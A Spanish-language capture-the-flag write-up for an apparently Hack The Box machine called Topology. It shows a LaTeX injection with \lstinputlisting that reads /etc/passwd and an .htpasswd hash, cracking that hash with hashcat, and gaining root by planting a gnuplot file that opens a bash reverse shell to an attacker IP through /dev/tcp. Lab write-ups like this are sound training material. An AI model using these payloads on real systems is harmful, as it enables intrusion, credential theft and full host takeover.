Descripción:#
Una máquina en la que tenemos que hacer una inyección LaTeX para poder leer archivos y así conseguir el hash del usuario, para luego, mediante una tarea recurrente, ganar root.
Enumeración#
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn IP -oG allPorts
-p-Escanea todos los puertos1-65535.—openSolo muestra los puertos que estén abiertos.-sSStealt scan, cambia el modo de escane haciendo que no se complete el hanshake.—min-rate 5000Como mínimo va a enviar 5000 paquetes por segundo.-vvvAumenta la verbosidad, mostrando la máxima informacion posible mientras se ejecuta.-nDesactiva la resolucionDNS; no va a tratar de resolver los nombres de dominio.-PnNmap por defecto manda un ping a la IP; esto lo desactiva.-oG allPortsGuarda el escaneo en formatooGen el archivo llamadoallPorts.
Este escaneo nos dio dos puertos: el 22 y el 80. Vamos a hacer un escaneo más exhaustivo a estos puertos.
sudo nmap -sCV -p22,80 IP -A -oN target
-sCVEsto ejecuta una serie de scripts predeterminados de Nmap para obtener información adicional sobre los servicios que se encuentran abiertos, como versiones de servicios, detalles del sistema operativo, vulnerabilidades conocidas y la versión exacta.-p22, 80Especifica qué puertos se van a escanear.-AActiva el descubrimiento de sistema operativo, la deteccion de version, script scanning y hace un traceroute.
La pagina HTTP que está en el puerto 80 usa Apache 2.4.41.
Puerto 80#
Al momento de entrar al link “Latex Equation Generator” veremos que es un subdmonio por lo que tendremos que agregarlo al /etc/hosts para que nos muestre lo siguiente.
Algo que podemos tratar es listar los archivos dentro de este subdmonio por lo que vamos a ingresar a la siguiente URL dejando el ultimo / .
Revisando los archivos, lo único útil está en equationtest.tex ya que nos muestra cómo estan tratando la entrada Latex la web.
\documentclass{standalone}
\input{header}
\begin{document}
$ \int_{a}^b\int_{c}^d f(x,y)dxdy $
\end{document}
Podemos observar que la entrada está entre los signos de dólar. Leyendo la página, nos dicen que LaTeX está en el modo “inline math”. Buscando acerca de este modo, nos encontramos con que hay tres formas de tratarlo:
- $ . . .$
- \begin{math} . . . \end{math}
- ( . . . )
Foothold#
Por lo que ahora sabemos porque está entre esos signos y confirmamos que la entrada va a estar así planeando una inyección.
Vamos a tratar de empezar a leer archivos del sistema con la inyección de codigo.
$ \lstinputlisting{/etc/passwd} $
Una vez confirmamos que podemos leer archivos vamos a empezar a leer archivos de configuración que nos permitán ingresar al sistema.
$ \lstinputlisting{/etc/apache2/sites-enabled/000-default.conf} $
En este archivo encontramos varios directorios entre ellos uno que pertence al subdominio dev.topology.htb lo agregamos al /etc/hosts y al ingresar nos pide una contraseña.
Vamos a listar archivos de configuracion por defecto de apache sobre el directorio correspondiente a este subdominio.
$ \lstinputlisting{/var/www/dev/.htaccess} $
Por ultimo vamos a listar este archivo.
$ \lstinputlisting{/var/www/dev/.htpasswd} $
Nos vamos a encontrar un usuario junto con su hash, vamos a copiarlo y guardarlo en un archivo .txt para hacerle fuerza bruta con hashcat:
hashcat hash.txt --wordlist /usr/share/wordlist/rockyou.txt --user
Esto nos dara su contraseña para iniciar sesion mediante ssh.
Root#
Enumeración#
Primero vamos a hacer el tratamiento basico de la shell:
export TERM=xterm
Listo ahora vamos a tratar de listar archivos y permisos a ver si encontramos algo, pero nos daremos cuenta rapidamente que no tenemos permitido el uso de sudo ni ningun permiso extraño por lo que lo unico que puede tener algo interesante son las crontab pero no nos permiten listarlas entonces vamos a usar la herramienta Pspy.
#Maquina atacante
python3 -m http.server 80
#Maquina victima
wget IP/pspy64
chmod +x pspy64
./pspy64
Luego de ejecutar el ultimo comando si esperamos un rato podremos ver que hay una script que se ejecuta cada minuto /opt/gnuplot/getdata.sh .
Si analizamos esta salida nos daremos cuenta que lo que se esta haciendo cada minuto es buscar en el directorio /opt/gnuplot/ todos los archivos con extension plt y los ejecuta.
Si tratamos de ingresar al directorio no nos lo permite pero en cambio si creamos un archivo y lo movemos a esa direccion no habra ningun conflicto. Buscando escalaciones de privilegios con gnuplot que es el binario que se ejecuta encontramos la siguiente Exploit.
#Maquina atacante
nc -lvnp 4444
#Maquina victima
nano rev.plt
system "bash -c 'bash -i >& /dev/tcp/IP/4444 0>&1'"
mv rev.plt /opt/gnuplot/
Con esto tendremos acceso como root y habremos completado la maquina.







